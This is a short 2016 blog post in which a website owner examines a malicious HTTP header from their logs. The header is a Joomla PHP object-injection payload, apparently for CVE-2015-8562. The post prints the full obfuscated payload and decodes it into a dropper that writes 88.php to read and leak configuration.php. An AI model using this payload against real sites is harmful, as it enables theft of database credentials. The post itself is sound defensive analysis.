Thursday, 7 July 2016

Server break-in attempts

On my website I log all the HTTP request headers to a file, and today I noticed an interesting bit:
    [HTTP_X_FORWARDED_FOR] => }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:2397:"eval(chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(100).chr(105).chr(114).chr(110).chr(97).chr(109).chr(101).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(83).chr(67).chr(82).chr(73).chr(80).chr(84).chr(95).chr(70).chr(73).chr(76).chr(69).chr(78).chr(65).chr(77).chr(69).chr(39).chr(93).chr(41).chr(46).chr(39).chr(47).chr(56).chr(56).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(39).chr(80).chr(68).chr(57).chr(119).chr(97).chr(72).chr(65).chr(103).chr(74).chr(72).chr(77).chr(103).chr(80).chr(83).chr(82).chr(102).chr(85).chr(48).chr(86).chr(83).chr(86).chr(107).chr(86).chr(83).chr(87).chr(121).chr(100).chr(84).chr(82).chr(86).chr(74).chr(87).chr(82).chr(86).chr(74).chr(102).chr(84).chr(107).chr(70).chr(78).chr(82).chr(83).chr(100).chr(100).chr(79).chr(121).chr(82).chr(106).chr(80).chr(87).chr(74).chr(104).chr(99).chr(50).chr(85).chr(50).chr(78).chr(70).chr(57).chr(108).chr(98).chr(109).chr(78).chr(118).chr(90).chr(71).chr(85).chr(111).chr(90).chr(109).chr(108).chr(115).chr(90).chr(86).chr(57).chr(110).chr(90).chr(88).chr(82).chr(102).chr(89).chr(50).chr(57).chr(117).chr(100).chr(71).chr(86).chr(117).chr(100).chr(72).chr(77).chr(111).chr(74).chr(50).chr(78).chr(118).chr(98).chr(109).chr(90).chr(112).chr(90).chr(51).chr(86).chr(121).chr(89).chr(88).chr(82).chr(112).chr(98).chr(50).chr(52).chr(117).chr(99).chr(71).chr(104).chr(119).chr(74).chr(121).chr(107).chr(112).chr(79).chr(50).chr(86).chr(106).chr(97).chr(71).chr(56).chr(103).chr(74).chr(72).chr(77).chr(103).chr(76).chr(105).chr(65).chr(105).chr(73).chr(67).chr(73).chr(103).chr(76).chr(105).chr(65).chr(107).chr(89).chr(122).chr(116).chr(49).chr(98).chr(109).chr(120).chr(112).chr(98).chr(109).chr(115).chr(111).chr(74).chr(70).chr(57).chr(84).chr(82).chr(86).chr(74).chr(87).chr(82).chr(86).chr(74).chr(98).chr(74).chr(49).chr(78).chr(68).chr(85).chr(107).chr(108).chr(81).chr(86).chr(70).chr(57).chr(71).chr(83).chr(85).chr(120).chr(70).chr(84).chr(107).chr(70).chr(78).chr(82).chr(83).chr(100).chr(100).chr(75).chr(84).chr(115).chr(47).chr(80).chr(103).chr(61).chr(61).chr(39).chr(41).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}<F0><FD><FD><FD>

That looks a bit fishy, a bit like a PHP equivalent of an SQL injection attack. Notice the closing curly brace - clearly intended to break out of some parser and inject some unexpected data-code.

What does that chr()-encoded string contain?
file_put_contents(dirname($_SERVER['SCRIPT_FILENAME']).'/88.php',base64_decode('PD9waHAgJHMgPSRfU0VSVkVSWydTRVJWRVJfTkFNRSddOyRjPWJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJ2NvbmZpZ3VyYXRpb24ucGhwJykpO2VjaG8gJHMgLiAiICIgLiAkYzt1bmxpbmsoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddKTs/Pg=='));

And in turn that Base64-encoded string is:
<?php $s =$_SERVER['SERVER_NAME'];$c=base64_encode(file_get_contents('configuration.php'));echo $s . " " . $c;unlink($_SERVER['SCRIPT_FILENAME']);?>

So that's what they're after - a list of hostnames and the contents of configuration.php.

Some Internet searching reveals that this is probably CVE-2015-8562. I'm tempted to record the IP addresses of the clients that attempt these code injections and return them with a fake Joomla configuration on requests for /88.php.

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